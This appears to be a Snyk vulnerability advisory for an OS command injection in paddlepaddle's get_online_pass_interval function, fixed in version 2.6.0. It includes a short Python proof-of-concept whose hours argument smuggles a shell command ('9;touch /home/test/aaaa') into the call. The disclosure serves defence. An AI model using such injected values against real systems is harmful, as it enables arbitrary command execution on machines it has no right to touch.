Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningUpgrade paddlepaddle
to version 2.6.0 or higher.
paddlepaddle is a Parallel Distributed Deep Learning
Affected versions of this package are vulnerable to OS Command Injection via the get_online_pass_interval
function. An attacker can execute arbitrary commands on the operating system by supplying malicious input.
from paddle.incubate.distributed.fleet.fleet_util import FleetUtil
fleet_util = FleetUtil()
online_pass_interval = fleet_util.get_online_pass_interval(
days="{20190720..20190729}",
hours="9;touch /home/test/aaaa",
split_interval=5,
split_per_pass=2,
is_data_hourly_placed=False
)